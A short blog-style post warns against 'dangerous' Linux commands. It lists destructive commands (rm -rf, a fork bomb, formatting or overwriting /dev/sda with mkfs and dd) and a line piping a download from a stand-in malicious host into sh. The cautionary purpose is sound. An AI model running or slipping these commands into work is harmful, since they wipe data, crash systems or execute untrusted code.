“Dangerous” Linux Commands

Of course, You will never accidentally run these commands, right?

• rm -rf
  This command will force the deletion of directories and files.
• :(){:|:&};:
  I haven’t tried this, but I’ve read it causes a ‘bomb’.. forking until the system crashes.
• mkfs.ext3 /dev/sda
  This will format the drive.
• command> /dev/sda
  This writes raw data to the drive, resulting in a total loss of data.
• dd if=/dev/random of=/dev/sda
  This will write random data to the drive.
• wget http://maliciouswebsite.com -O- | sh
  This will download any script and execute it.

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